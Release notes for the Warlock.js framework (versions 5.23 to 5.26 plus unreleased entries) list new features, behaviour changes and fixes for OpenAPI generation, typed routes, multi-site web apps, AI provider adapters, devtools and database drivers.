warlock generate.openapiwrites an OpenAPI 3.1 document (storage/openapi/openapi.json, or--out) derived from the registered routes. Options:--title,--server,--include-pages. Paths use{param}templates andallroutes expand to every verb;validation.schemabecomes the request body (POST/PUT/PATCH) or query parameters (GET/HEAD/DELETE) according tovalidating, andvalidation.paramsbecomes typed path parameters. Responses come fromhandler.responseSchema(casts,"?"astype: [T, "null"], resources ascomponents.schemas$refs named after their export,[Resource]as an array); a route with no schema documents only a200description. A422(shaped byvalidation.response) is added when a route hasvalidation.schema, and a401when it is guarded. Fields that cannot be described statically (field builders, resolver functions) are documented as{}and listed as warnings; the command exits non-zero only when the app cannot be loaded. - AddedSecurity schemes from
authMiddleware. Core reads theSymbol.for("warlock.auth")descriptor ({ sources: ("header" | { cookie: string })[], userTypes: string[] }) thatauthMiddleware()attaches and emitsbearerAuth/cookieAuthschemes only for the ones a route uses (header plus cookie is an OR). Middleware without a descriptor is ordinary middleware and produces no security entry. - Added
buildOpenApiDocument(routes, context)is exported: a pure function fromrouter.list()routes to a plain-JSON OpenAPI document plus awarningslist, so a dev tool can build the same document in-process. The CLI builds it inside the route-registration child process, so Seal instances never cross IPC; that child's fork, IPC and timeout handling is now a shared helper with no change towarlock build(WARLOCK_ROUTE_REGISTRATION_TIMEOUT_MSapplies to both). - Added
getDevelopmentOpenApiDocument()returns the same document for the routes registered in the running dev process (warlock devregisters the builder at startup; outside it the call throws), reusing the CLI child's builder (resource export map,package.jsoninfo,httpserver,validation.response).@warlock.js/devtoolscalls it to serve its API docs page at/__warlock/docs; warnings are logged once per process. - AddedModels resolve to their resource in
Serialized.warlock generate.typingsandwarlock devnow write.warlock/typings/model-resources.d.ts, aModelResourceRegistryaugmentation with one entry per model class that declaresstatic resource = <Identifier>, soSerialized<User>is the resource output instead of the raw model data. The identifier is followed through the model file's own imports (named, aliased, default, tsconfig aliases) or its own declarations, by reading the source only; a computed expression,lazy(...), a generic or unexported model is left out and keeps the raw-data type. Duplicate class names get_2,_3keys, output is sorted, and the file is rewritten only when it changes. The app'stsconfig.jsonmust include.warlock/typings/*.d.ts(the scaffold already does). - ChangedDependency: @mongez/supportive-is 3.0 (type-predicate checkers).
- AddedTyped API responses. Each generated
ApiRouteRegistryentry now carriesresponse: { 200: ...; 400: ... }when the route's handler declaresresponseSchema(the generator accepts an optionalresponseon the route snapshot and emits it verbatim). New public typesApiResponse<Name, Status = 200>(the declared body, orunknownwhen the route or status is undeclared, neverany),ApiResponses<Name>(the whole status map) andApiSuccessResponse<Name>(the union of declared 2xx bodies).useSubmitForm({ route: "auth.login" })now typesdata,responseandonSuccessfrom the route's declared 2xx body; path targets and explicituseSubmitForm<Schema, Data>calls are unchanged, and apps with noresponseSchemagenerate a byte-identical file. - AddedPage, layout, app and metadata
datais now typed as what actually reaches the page:Serialized<LoaderReturn, "devalue">from@warlock.js/core, not the loader's raw return. A cascade model registered inModelResourceRegistryreads as its resource output,Date/Map/Set/RegExp/URLstay native, function keys are dropped, and a class instance withouttoJSONreads asnever(devalue would throw at render). Deferreddefer()keys stay promises whose settled value is serialized. Plain JSON-ish data is unchanged; the loader's own declared return type is untouched. - AddedGuarded pages are typed as signed-in. The generator now reads whether a page is guarded by
requireUser()(imported from"@warlock.js/web/session", aliased imports included) as a direct element of a literalconfig.middlewarearray on the page, any layout on its chain, or the root, and emitsguard: "user"on thatPageRouteRegistryentry (nothing is emitted for an unguarded page, so existing generated files are byte-identical; spreads, identifiers, conditionals, wrapper calls,requireGuest()andconfig.action.middlewaredo not count, and the not-found page is never guarded). A newGuardedPageRouteNametype lists those names. For a guarded page,PageLoaderContext<Validation, typeof route>(andPageLoader) now typesessionas non-optional{ user, model }with neither field null andrequest.locals.useras non-null; the route name is read fromtypeof routeor passed as a third type argument (PageLoaderContext<undefined, undefined, "account.show">). Unguarded pages, layout and app loaders, and page actions are unchanged. The dev route-type writer now keepsguardandactionsinstead of dropping them on a rewrite. - Added
useUser("account.show"): pass a guarded page's route name to get a non-nullSessionUser(any other name fails to compile). The name also opts the component in to keeping the last signed-in user while it stays mounted, so a sign-out that flips the store to a guest a frame before navigation completes no longer handsnullto a component that readsuser.name. PlainuseUser()is unchanged and still returnsnullfor a guest. - FixedPage data: a promise nested in a loader's data (not a
defer()key) is awaited and its settled value is now serialized too, so a model or resource resolved from a promise reaches the page as itstoJSON()output instead of making devalue throw.
- AddedResponses API (opt-in).
sdk.model({ name, api: "responses" })routes an OpenAI model through/v1/responses, so a reasoning model (gpt-5 family, o-series, gpt-6) can use function tools with reasoning on. Chat Completions stays the default and is unchanged. Underapi: "responses"reasoning uses the provider default even when tools are attached (more reasoning tokens and latency than the Chat path, which forces reasoning off with tools); the system prompt is sent asinstructions; requests usestore: false;pdf/audioinputs are off. Only theopenaiprovider accepts it: the DeepSeek, Groq, xAI and Mistral adapters rejectapi: "responses". - AddedResponses streaming.
stream()works underapi: "responses"and yields the same chunks as the Chat path: text deltas (refusal text included), then the tool calls, then onedonewith the finish reason and usage. Aresponse.failedorerrorevent mid-stream throws the same typed error as a failed request. - AddedReasoning replay across tool turns. Every Responses request asks for
include: ["reasoning.encrypted_content"]. The reasoning items of a tool-calling turn are saved on the first tool call (providerMetadata.openaiResponses = { model, reasoningItems }) and sent back before that turn's function calls on the next request, so the model keeps its own reasoning while it works through tools, with nothing stored on OpenAI's side. Replay is skipped when the model changed, and turns without a tool call are not replayed. The encrypted reasoning items are stored with the conversation history (memory or session store), so expect larger stored messages; there is no size cap. The Chat path and the other adapters ignore the key.
- AddedAPI docs page.
/__warlock/docsrenders the app's OpenAPI 3.1 document with Scalar, and the dashboard has a new API tab that shows it. The document comes fromGET /__warlock/api/openapi.json, built in-process by core'sbuildDevelopmentOpenApiDocument()from the routes already registered (the same generator aswarlock generate.openapi); it answers 503 when the host provides none. Everything stays behind the existing dev-only, loopback-only guard. - AddedThe API docs page uses Scalar (MIT). Its prebuilt browser bundle (1.72.2) is vendored in
ui/vendor/scalar/and served asassets/scalar.js, so apps install no extra dependencies. Nothing is fetched from a CDN, and the page turns off Scalar's web fonts, telemetry, AI agent and MCP so it makes no outside request.
- Added
authMiddleware()now tags the middleware it returns with a non-enumerable, frozen, JSON-safe descriptor underSymbol.for("warlock.auth")({ sources, userTypes }), exported asAUTH_MIDDLEWARE_DESCRIPTOR/AuthMiddlewareDescriptor, so other tooling can read a route's resolved credential sources and allowed user types without changing runtime behavior.
- ChangedDependency: @mongez/supportive-is 3.0 (type-predicate checkers).
- ChangedDependency: @mongez/supportive-is 3.0 (type-predicate checkers).
- ChangedGenerated apps depend on
@mongez/supportive-is^3.0.0 (type-predicate checkers).
5.26.0September 30, 2026
Security upgrades, module locales.json, typed URLs, and loaders that return resources. Fastify and its plugins move up a major for security fixes (only router.directory() setHeaders callers change code: use reply.header()). Modules register translations from utils/locales.json; warlock doctor --fix converts legacy locales.ts, which is deprecated for v6. Route params validate with validation.params (v.int() turns :id into a number). href(), navigateTo() and the new apiHref() take { name, params, query }. Page and layout loaders can return resources, serialized like response bodies. whereTrusted() allows code-authored Mongo operators, auth cookies can be scoped per request with cookieDomain(request), and the AI adapters gain wider reasoning-effort levels, prompt caching controls and correct parameters for current Claude and OpenAI reasoning models. Behaviour changes: IPv6 rate limits group by /64, package migrations run before app migrations, navigateTo() hard-navigates before hydration, and request.user and RequestUserMovedError are removed (use request.locals.user). t(), request.t() and request.trans() are typed as string.
Full release notes or run npx warlock release-notes.
- Added
http.rateLimit.ipv6Subnetsets the IPv6 prefix length the global rate limiter groups clients by (default64). - AddedModule
src/app/<module>/utils/locales.jsondictionaries register translations with the module folder as their default group; root$groupoverrides it. Dictionaries strictly validate their JSON and translation shape, and reject duplicate key ownership.utils/locales.tsstill works but is deprecated and will be removed in v6 (its warning ships separately). - Added
parseLocaleDictionary()is public for tooling that needs to validate and flatten a module locale dictionary without loading application code. - Added
validation.paramsvalidates route parameters with a Seal object schema. Number and boolean validators coerce the string segments, the parsed values replacerequest.params, and they merge into the validated data (params win over body keys). Failures answer like a body-schema failure. Routes withoutparamsstill see raw strings. - Added
warlock doctorwarns about each legacyutils/locales.tsfile, andwarlock doctor --fixconverts the safe ones (a singlegroupedTranslationscall with a literal object) tolocales.json. It checks the JSON flattens to the same keys before deleting the.tsfile. Anything else is reported as a manual migration with the reason. Comments in the converted file are not kept. - ChangedDevelopment now warns once when it auto-loads legacy module
utils/locales.tsfiles, andwarlock add accessnow writes its access translation tosrc/app/access/utils/locales.json. - ChangedBehaviour change: rate limits group IPv6 clients by their
/64network, and IPv4-mapped addresses (::ffff:1.2.3.4) count as the IPv4 address. This applies to the global limiter and to the per-routerateLimit()middleware. Before, a client could rotate through addresses in its own/64to get a fresh bucket each time. Users behind one IPv6/64, such as one home or office, now share a bucket. - Changed
response.clearCookie()now also sendsMax-Age=0alongside the pastExpiresdate. - Fixed
warlock generate.typingshonoursbuild.routeRegistrationTimeoutMs/WARLOCK_ROUTE_REGISTRATION_TIMEOUT_MS, likewarlock build. It always used 30 seconds, sogenerate.typings && tsc && warlock buildcould fail on a loaded machine even with a longer timeout configured. - Fixed
request.t(),request.trans()andt()are typed as returningstring(they wereany), sotitle: request.t("...")type-checks without aString(...)wrapper. - Fixed
warlock migrateruns package migrations (such as @warlock.js/auth's token tables) before your app's migrations, whatever their dates. On a fresh database, an app migration that alters a package table used to run before the table existed. The order inside each group is unchanged. - Fixed
startHttpTestServer({ web: false })now starts an API-only test server: it skips the optional web connector before its lazy lifecycle delegate constructsWebConnectoror creates Vite. Omitting the option preserves the existing full-stack startup. - Fixed
response.cookie()truncates a fractionalmaxAgeto whole seconds.@fastify/cookie11 rejects a non-wholemaxAge, so a computed value such asttl / 1000used to fail the response. - RemovedBREAKING (only if something still reads
request.user): therequest.usergetter andRequestUserMovedError, the development-time diagnostic kept since the 5.12.0 move. The user lives atrequest.locals.user(set by@warlock.js/auth); TypeScript now reports any remainingrequest.user.
- Added
href(name, { params, query })now supports an object form alongside its positional arguments;navigateTo({ name, params, query })and newapiHref(name, { params, query })keep generated page/API route names and required path params type-safe while using the shared query-string grammar. Object form is reserved for objects containing only object-shapedparams/queryoptions, so route params literally namedparamsorqueryremain positional. - ChangedBehaviour change: in a browser with no client runtime connected (before hydration),
navigateTo()now starts a real browser navigation (location.assign, orlocation.replacewithreplace: true) and returnstrue. It used to returnfalseand do nothing, so apps wrote that fallback by hand. On the server it still returnsfalse. - FixedPage and layout loaders can now return resources and other class instances with
toJSON(); their JSON representation is used safely in hydration and deferred page-data payloads. - FixedInitial client hydration now seeds
useUser()from the session payload before React's first render, preventing signed-in server markup from mismatching the client. - FixedProduction
/assets/*responses setVary: Accept-Encodingthrough the Fastify reply. With@fastify/static10, the old callback threw on every asset request, so production pages loaded without their scripts and styles.
- Changed
ReasoningEffortnow accepts"none" | "minimal" | "low" | "medium" | "high" | "xhigh" | "max". Adapters clamp unsupported values to their nearest supported provider level rather than rejecting a request.
- Added
thinkingMode: "adaptive" | "budget"onanthropic.model({ ... })overrides the thinking shape inferred from the model name. Use it for gateway model ids that don't follow Anthropic's naming, or to move Opus/Sonnet 4.6 onto adaptive thinking. It also decides whethertemperatureis sent. TheAnthropicThinkingModetype is exported. - Added
promptCaching: truenow enables Anthropic's request-level automatic cache placement when a call has no explicit cache breakpoint, so the longest reusable prefix is cached.promptCacheTtl?: "5m" | "1h"controls the TTL for automatic and explicit cache markers; omission keeps Anthropic's five-minute default. - FixedAdaptive Claude reasoning now maps
minimaltooutput_config.effort: "low"and supportsxhighandmax; budget-mode models map them to 1,024, 24,000, and 32,000 thinking tokens respectively. - FixedClaude reasoning-token usage is now included in responses when the API reports it, including streamed responses.
- FixedResponses stopped because the model context window was exceeded now report a length finish reason.
- FixedBehaviour change: Reasoning now works on current Claude models. Claude Opus 4.7, 4.8, 5 and 5.5, Sonnet 5 and 5.5, Fable 5 and 5.1, and any model id the adapter does not recognise now get
thinking: { type: "adaptive" }withoutput_config.effort(low,mediumorhigh, taken fromreasoning.effort;mediumwhen onlyreasoning.maxTokensis given). Before, every model gotbudget_tokens, which these models reject with a 400. Claude Haiku 4.5, Opus 4.6, Sonnet 4.6 and older models keep thebudget_tokensshape. The defaultmax_tokensis unchanged in both modes. - FixedBehaviour change:
temperatureis no longer sent to models released after Claude Opus 4.6 (the same adaptive-thinking models listed above), because they reject any value other than the default with a 400. Haiku 4.5, the 4.6 models and older models still receive it. - FixedBehaviour change: Claude 5-series models (
claude-opus-5*,claude-sonnet-5*,claude-fable-5*,claude-mythos-5*) are now recognised as vision-capable, so image attachments are no longer rejected for them.
- Changed
reasoning.effortnow accepts every OpenAI SDK 7.23.0reasoning_effortlevel:none,minimal,low,medium,high,xhigh, andmax. - ChangedOpenAI-labelled Chat Completions models now support explicit prompt caching:
promptCacheKey,promptCacheRetention, andcacheControl.breakpointsmap to the OpenAI SDK's request fields. These fields are deliberately omitted for OpenAI-compatible wrapper providers. - ChangedCapability inference now recognizes the GPT-6 family as reasoning- and vision-capable, plus GPT-5 and o4 as vision-capable.
- ChangedBehaviour change: requests send
max_completion_tokensand never the legacymax_tokens, which current OpenAI models (the gpt-5 family and later) reject with400 unsupported_parameter.maxTokensin config and call options is unchanged. - ChangedReasoning-capable models (o-series, gpt-5 family) no longer receive
temperature; they accept only the default value and reject any other. - FixedA provider error now keeps the parameter OpenAI rejected (
context.param) and the request id (context.requestId, read from the SDK'srequestID), next to the status and code.
- Added
whereTrusted(conditions)on the query builder contract applies a code-authored filter without the unsafe-operator check, so MongoDB operators such as$inand$ltpass through. Never pass request input to it. The PostgreSQL builder throwsUnsupportedQueryOperationErrorfor operator objects, because itswhere()parser would otherwise bind them as plain values. Custom query builders must implement the new method. - AddedMigrations can be registered with an origin (
"package"or"app"). Package migrations run before every app migration while preserving the existingorder,createdAt, and name sort within each partition. Directregister()calls default to"app". - FixedMigrations now reject colliding unnamed index definitions before sending DDL to MongoDB or PostgreSQL, with guidance to provide an explicit index name. Declarative alter migrations with a custom
up()but nodown()now emit one rollback warning. - Fixed
trustedFilter: truenow works onatomic(),findOneAndUpdate()andfindAndUpdate()with an operator filter such as{ id: { $in: ids } }. The scoped-write lookup re-ran the filter throughwhere(), which rejected the operator, so these calls threwUnsafeFilterErroreven when the filter was trusted. Global scopes (tenant, soft delete) still apply to the write.findAndUpdate()now acceptstrustedFilter.
- ChangedMap all neutral reasoning effort levels to valid Bedrock extended-thinking budgets.
- ChangedClamp all neutral reasoning effort levels to Gemini thinking budgets, preserving the adapter's 24,576-token supported ceiling.
- ChangedClamp neutral reasoning effort levels to Ollama's supported
thinkliterals.
- AddedCookie sessions now support
auth.cookie.cookieDomain(request)andpageSession/sessionMiddleware'scookieDomain(request)override. Returning a Domain scopes issued and renewed cookies to it; returningundefinedpreserves host-only cookies. Clearing a Domain-scoped session also clears the legacy host-only cookie names. When configured, passrequesttosetSessionCookies(response, tokens, request),clearSessionCookies(response, request), andclearAuthCookie(response, options, request); omitting it throwsCookieDomainRequestRequiredErrorrather than issuing or clearing a host-only cookie.
- ChangedDependencies:
fastify^5.12.5 (security fixes).
- ChangedDependencies:
fastify^5.12.5 (security fixes).@bull-board/*^9.10.2.
- FixedThe generated
src/config/app.tsfalls back toWarlockas the app name whenAPP_NAMEis unset (it saidMongez). New apps still get their project name in.env.
5.25.0September 29, 2026
Devtools, deploy in parts, and the first release built on GitHub Actions. The new @warlock.js/devtools adds a development dashboard at /__warlock: each request's phases, SQL and MongoDB queries with EXPLAIN, cache and log activity, captured mails and N+1 warnings. Add it with warlock add devtools; warlock dev loads it automatically and production never mounts it. warlock start --role=api|web|worker and --sites=a,b run one build as separate processes. Pages get per-locale alternates metadata and the matched route in loaders and actions; setupTest({ importModule }) loads app modules through Vitest's module graph. Behaviour changes: model-write validation failures answer 500 by default (configurable with http.modelValidationErrorStatus), and blank form values count as missing for non-string validators. Fixes include MongoDB upserts assigning auto ids, a clear UnsupportedLockForUpdateError on MongoDB, nullable objects in seal, warlock seed and migrate skipping test files, and plugin routes keeping their params in dev.
Full release notes or run npx warlock release-notes.
- AddedNew package. A development-only dashboard served at
/__warlock: request timeline, queries with EXPLAIN, N+1 detection, dev mailbox, logs, cache operations and the route map. It refuses to run outside development and answers only loopback clients.
- Added
registerTracingHooks()lets development tools subscribe to HTTP tracing at runtime, and phase tracing now includes each phase'sstartedAttimestamp. - Added
mailEvents.onCaptured()(mail.captured): every mail sent in development or test mode is delivered in full (html, text, headers, attachments) to listeners. Development mode still logs instead of sending.CapturedMailgainsid. - AddedDevtools:
warlock add devtoolsinstalls@warlock.js/devtoolsas a dev dependency, andwarlock devloads it automatically when it is installed. You never name it inwarlock.config.ts, so production installs, which omit dev dependencies, have nothing to resolve.warlock addnow pins@warlock.js/*dev dependencies to the installed framework version too. - AddedDeploy in parts:
warlock start --role=api|web|worker(combinable, e.g.--role=web,api) runs one build as separate processes, and--sites=a,blimits awebprocess to those sites. - Roles are file-based.routes.tsisapi, pages areweb, and the new per-moduleworker.tsisworker.main.tsloads for every role. - A process with neitherapinorwebbinds no HTTP port and reportsworker ready. -Application.roles,Application.hasRole()andApplication.sitesexpose the active set. Thewarlock:readysignal now carriesroles. - With no--role, every role is on, so existing apps andwarlock devbehave exactly as before. - Unknown roles, an empty list, or--siteswithoutwebfail before the app starts. - ChangedBehaviour change: model-write validation failures now return the opaque internal-error response with status 500 by default, instead of returning a 400 and validation details. Details are logged server-side. Set
http.modelValidationErrorStatusto choose a different status; a4xxstatus returns{ errors }to the client. - FixedIn development, a plugin's own parametric route (such as devtools'
/__warlock/api/requests/:id) keeps its params when an app catch-all route also matches the URL. The dev dispatcher used to overwrite them, so the devtools request detail answered 404. - Fixed
warlock seedandwarlock migrateskip test files (*.spec.ts,*.test.ts, …) inseeds/andmigrations/folders. A spec kept beside its seeder used to abort the whole seed run. - Fixed
onHttpServerRebuilt(listener)fires with the new Fastify instance when the HTTP connector restarts (before it listens), so dev connectors can re-attach instance-bound hooks. - Fixed
warlock generate.typingsnow also writes.warlock/typings/web-routes.d.ts(through the new optionalbuild.typingsconnector hook, so core never imports web), sogenerate.typings && tsc && warlock buildtypechecks typedhref()calls on a clean checkout. API-only apps are unchanged. - Fixed
warlock buildroute registration now has a configurable timeout and names the module still registering when it expires. - Fixed
defineResourceoutputidnow falls back to_idon Mongo records whenidis absent; an explicitidstill wins. Collections with native ObjectIds should setprimaryKey = "_id"on the model soModel.find(hex)works. - Fixed
setupTest({ importModule })lets tests load app modules (config, routes, events) through Vitest's own module graph, so classes likeUserexist once andinstanceofworks. The generatedsrc/test-setup.tspasses(file) => import(file);setupTest()under Vitest without it warns once. - FixedDefault route schema validation now supplies matching declared route params when body and query omit them, without overriding body or query values.
- Fixed
isPortAvailable()andassertPortIsAvailable()are exported from@warlock.js/core/testsfor HTTP test setup.
- AddedPage tracing now reports middleware, page-cache, and deferred-settlement phases.
- AddedDeploy in parts: a process started without the
webrole (warlock start --role=api|worker) installs no pages, public files or site dispatch, and--sites=a,binstalls only those sites (plus shared pages). Other hosts get the normal unknown-host response. An unknown site key, or--siteson an app withoutweb.sites, fails at boot. - AddedNew page metadata field
alternates(Record<string, string>, keyed by locale code plus optionalx-default) lets a page declare its own per-locale hreflang targets — for per-locale content slugs that the framework's path-swapped generated alternates can't describe — and replaces the generated set entirely, in both SSR and client navigation, when set. - AddedPage loaders, layout loaders, metadata callbacks and page actions receive
route: { name, path, params }— the matched page's route. Undersites,request.routeis core's/*catch-all;ctx.routeis the page (PageRouteis exported). - Fixed
warlock devnow letswebConnector({ ssrFetchTimeoutMs })configure Vite SSR module fetching;WARLOCK_SSR_FETCH_TIMEOUT_MStakes precedence. Invalid values warn and retain the 60000ms default, while timeout errors name the module and point to CPU overload and the environment override. - FixedMetadata callbacks now correctly retain child metadata with
child.metadata; diagnostic errors also identify the common mistaken...childspread and show the correct form. - FixedThe "runtime exports must use one of ..." page-discovery error now names the offending export and the source file, and its allowlist is built from the same list the check enforces, so it can no longer omit
action/actionsor drift from what's actually accepted. - Fixed
warlock devkeeps serving Vite assets (theme.css,app.css?direct, the client entry) after an HTTP-only restart: the web connector re-attaches its Vite middleware to the rebuilt HTTP instance instead of leaving pages unstyled and unhydrated. - Fixed
createWebBuildContribution()gains atypingshook that writesweb-routes.d.tswith the same writer and inputs asgenerate, sowarlock generate.typingsproduces the route types before any build. - FixedMulti-site production pages now retain their site-local translation snapshots.
- FixedMulti-site not-found documents now emit the site-qualified page name registered by client hydration.
- FixedPage-scoped request translations now fall back to global translations in the active locale when a page bag lacks the key.
- FixedProduction hydration-client builds now resolve PostCSS configuration from the application root, matching development.
- FixedPage discovery now fails when a
*.setup.tsfile has no paired UI module, preventing middleware and metadata from being silently ignored. - Fixed
warlock devnow reports the same setup-file projection errors aswarlock build(e.g. an unread top-level call likeconst guard = requireUser(opts)in a*.setup.ts), on first load and on every edit, instead of only failing at build time.
- AddedDrivers emit public
queryevents for settled PostgreSQL SQL and MongoDB commands;dataSourceRegistryforwards them with the registered connection name for centralized inspection. - FixedPostgreSQL
groupByRaw()now emits and parses its raw GROUP BY operation correctly, including bound parameters. - FixedMongoDB
lockForUpdate()now throws the publicUnsupportedLockForUpdateErrorwith guidance to use a conditional atomic update instead of a nonexistent row lock. - FixedMongoDB atomic upserts now assign the model's auto-increment
idon insert without changing an existing document's id.
- ChangedThe generated app's README is rewritten for the current template:
dev/build/start, migrations, generators, the web stack vs API-only,warlock add, tests and the AI agent skills. - ChangedThe generated database config explains
autoGenerateIdand when to turn it off for an existing_id-only MongoDB. - ChangedRemoved broken template scripts:
gen.v(called a command that doesn't exist),gen.md(duplicate ofgen.m),serve(POSIX-onlynohup, and tied to one package manager) andlf(neededdos2unix). Usenpm run build && npm run startinstead ofserve. - Fixed
docs/new-module.mdin the generated app namedwarlock create.module; it iswarlock generate.module.
- ChangedBehaviour change: Empty and whitespace-only form values are treated as missing by non-string validators, so optional fields are omitted, nullable fields resolve to
null, and required fields reportrequired. - Fixed
ObjectValidatorno longer recurses into its shape when the input isnullon a.nullable()object (or the whole object is missing on an.optional()one) — it now short-circuits on the already-resolved result instead of re-running child validators againstundefined, which previously reported spurious "required" errors for anullvalue. - Fixed
BaseValidatorclones preserve translated attributes, and required-rule labels now resolve at validation time regardless of.required()/.transAttributes()chain order.
- Fixed
authMiddlewarenow returns its normal401missing-credential response for an unsafe dual-source request that presents neither access nor refresh cookies, instead of treating the configured refresh descriptor as a presented credential and rejecting its Origin with403. - FixedToken-pair issuance now ensures its durable token family once, and repeated ensures return the existing family without another upsert.
- Added
invalidatedcache event:tags([...]).invalidate()now emits it once, with the tags, the keys it removed anddurationMs. The per-keyremovedevents still fire.
- Changed
startWorkers()(and thequeueConnector'sstart(), which calls it) no longer starts in-process workers on a process that doesn't serve theworkerrole (WARLOCK_ROLES), loggingqueue: workers not started (role: ...)instead. Producers (dispatch) and the dashboard mount are unaffected. With no--rolepassed, every role is on and nothing changes.
- Changed
scheduler.start()is now a no-op, loggingscheduler: not started (role: ...), on a process that doesn't serve theworkerrole (WARLOCK_ROLES) — so an app calling it inmain.tsdoesn't run its jobs on everyweb/apinode. The "jobs registered butstart()never called" development warning no longer fires on such a process. With no--rolepassed, every role is on and nothing changes.
5.24.0September 27, 2026
Safer human-in-the-loop approvals and working Claude extended thinking. A durable HITL approval is now bound to the exact agent session, tool and arguments it approved, so it can no longer be consumed by a concurrent run or applied to a different call; pending approvals from earlier versions ask again. Claude extended thinking now works on Anthropic and Bedrock across tool calls (signed thinking blocks are replayed), and maxTokens must exceed the thinking budget. Named ErrorBoundary components receive the HTTP status; PageLoaderContext no longer needs type arguments; Postgres transactions accept settings applied as SET LOCAL; request.input() sees multi-site route params; merge({ col: null }) saves NULL.
Full release notes or run npx warlock release-notes.
- SecurityDurable HITL approvals are now bound to the exact agent session, tool, and arguments they approved, preventing cross-run or cross-action replay. A decision that doesn't match the call being gated is never applied; the call asks for approval again.
resume()re-runs in the interrupted session unlessexecuteOptions.sessionIdsays otherwise. Approvals left pending by an earlier version must be approved again after upgrading.
- AddedNamed page, layout, and root
ErrorBoundarycomponents now receive the resolved HTTPstatusalongsideerror. - Changed
PageLoaderContext's type parameters default toundefined, so a loader with no validation or route can be typed({ request }: PageLoaderContext). - FixedAdded the missing
web.forms.redactValuesconfiguration type for redacting submitted values echoed in failed page-action state.
- AddedPostgreSQL transactions accept transaction-local
settings, applied safely with parameterizedset_configcalls afterBEGIN; use them for RLS context,statement_timeout, orsearch_pathwithout leaking values to the pool. - FixedAn explicit
nullgiven tomerge()/set()is now written as NULL on save. Before, an optional, non-nullable column cleared tonull(for example, restoring a soft-deleted row withmerge({ deletedAt: null })) was dropped from the update, and the row kept its old value. A required column set tonullstill fails validation.
- FixedPreserve signed and redacted extended-thinking blocks across Anthropic tool-use follow-ups, and ensure
max_tokensexceeds the thinking budget.
- FixedPreserve Claude extended-thinking reasoning blocks across Bedrock Converse tool-use follow-ups, and enforce valid thinking budgets and output-token ceilings.
- Fixed
request.input(key)now sees a route param set withRequest.setParam(). Before, it updated onlyrequest.params, so in a multi-site app (where the site dispatcher sets each page param) every dynamic segment read asundefinedthroughinput(),only()andall(). Params keep their precedence over query and body.
5.23.2September 26, 2026
Multi-site locale routing and site-origin URLs. In a multi-site app, <Link>, localizedPath(), hreflang and the routing handed to the browser now follow each request's own site (its localeRouting), where before no locale prefix was ever added. Canonical, og:url and hreflang use the request's site origin instead of the app's single public URL. warlock build no longer fails when a site sets its own localeRouting. A page's declared route.name now reaches the generated route types when its loader lives in a companion .setup.ts.
Full release notes or run npx warlock release-notes.
- FixedMulti-site locale routing is per site.
<Link to>,localizedPath(), hreflang alternates and the routing handed to the browser now follow the rendering request's own site (itslocaleRouting, overweb.localeRouting). Before, a multi-site app never published locale routing, so none of them added a locale prefix, in dev or production. - FixedMulti-site pages build canonical,
og:urland hreflang URLs from the request's site origin instead of the app's single public URL. - Fixed
warlock buildno longer fails with "app.localeCodes declares no locale codes" when a site sets its ownlocaleRouting. - FixedA page's declared
route.namewins in the generated route types when its loader lives in a companion.setup.tsandconfigstays in the page file (for example, typedsatisfies PageConfig<typeof loader>). Discovery now readsconfigfrom whichever of the two files declares it, and rejects it in both, as the runtime already did.
5.23.1September 26, 2026
Multi-site: $sites folders, dev hydration, and production routing. Sites now live only in src/web/$sites/<key>/ (the folder name is the site key); web.sites.<key>.pages is removed and a leftover pages is a boot error naming the folder to move. Fixes: in warlock dev, each site's client entry now loads only its own pages (it failed with "Two pages resolve to the same route path" and never hydrated); adding or removing a page in dev no longer fails with a duplicate site-dispatch route name; $sites/<key> never leaks into page URLs or route names in production.
Full release notes or run npx warlock release-notes.
- ChangedBREAKING: sites live only in
src/web/$sites/<name>/(the folder name is the site key);web.sites.<name>.pagesis removed and reported at boot. - FixedMulti-site dev: each site's client entry now loads only its own pages. Before,
warlock devfailed to transform the hydration entry with "Two pages resolve to the same route path", so pages never hydrated. - FixedMulti-site dev: adding or removing a page no longer fails with
Route name "warlock.site-dispatch.get" is already taken. - Fixed
$sites/<key>never reaches a page's URL or route name in any installer, including production.
5.23.0September 26, 2026
Multi-site web applications, safer traffic controls, and Postgres correctness. Web adds web.sites and resolveHost for fixed and tenant-resolved domains, with isolated roots, routes, page caches, sitemap/robots, cross-site links, siteUrl(), and tlsAsk; it also fixes Real-Estate multi-site production and page-action edge cases. Core adds per-user rateLimit({ key: "user" }). Cascade adds opt-in Postgres naming: "snake_case" and safe bigint/int8 parsing. Queue carries request context into jobs, and Scheduler adds scheduler.around.
Full release notes or run npx warlock release-notes.
- AddedMulti-site support (
web.sites,resolveHost). - Added
PageActionContext<typeof schema>accepts a bare Seal schema, typingrequest.validated()as its output; works with a plainconfig: PageConfigannotation. Thetypeof config.actionform is unchanged. - ChangedBuild logs show app-relative output paths.
- ChangedA page action's
response.cookie()andresponse.clearCookie()now take the same arguments as core'sResponse, so auth's cookie helpers (which takeResponse;CookieWriteris removed) accept it. - FixedA page file can declare its action schema at the top (
const schema = v.object(...), read byconfig.action.validationorconfig.actions.<name>.validation) — the documented pattern. Dev and build no longer refuse it as an ambiguous statement. - FixedMulti-site in dev: tenant data from
resolveHost({ shared })now reachesuseShared(), andsiteUrl()/ cross-sitehref()see the current site. The connector and the page pipeline run in two module copies in dev (Node and Vite SSR); both hand-offs now use global slots, as production already effectively did. - Fixed
siteUrl()and theCurrentSitetype are exported from@warlock.js/web, as the multi-site guide documents. - Fixed
warlock buildwithweb.sitesno longer fails whensrc/config/web.tsimports app code through a tsconfig alias (aresolveHostfromapp/...): the build bundlesweb.tswith esbuild before readingsites. - FixedA
<Link>ornavigateTo()to another site's route (an absolute URL on another origin) now loads that site instead of silently doing nothing; the locale prefix is no longer applied to absolute URLs. - FixedA multi-site production build now boots: each site's hashed
hydration-<site>entry is read from the Vite manifest at boot and served to that site's pages (it previously demanded a singlehydrationentry and refused to start). - FixedMulti-site production installs each site's pages under its own root (the dispatcher was dropped on the way to the production installer), and boot no longer tries to publish one global sitemap that needs
app.publicUrl: each site's sitemap is built for its own origin. - SecurityWith
app.urlset, a request whoseHostdiffers now bypasses the page cache (no lookup, no store) instead of being keyed as the configured host, closing cache poisoning via forgedHost.
- Added
warlock generate.use-case <module>/<verb-noun>scaffoldsuse-cases/<verb-noun>.use-case.ts(transport-agnostic(input, actor)returning a result union) plus a vitest spec, and refuses to overwrite existing files without--force. - Added
rateLimitacceptskey: "user"to bucket by the signed-in user id (routes and page actions), withguests: "ip" | "skip"(default"ip") for unauthenticated requests.keyGeneratorand the 429 shape are unchanged. - AddedEach
rateLimit()call now keeps its own counters, so two limits on the same route (two page actions on one page, say) no longer share a bucket.errorMessagealso accepts(request) => stringfor per-request (translated) messages. - Fixed
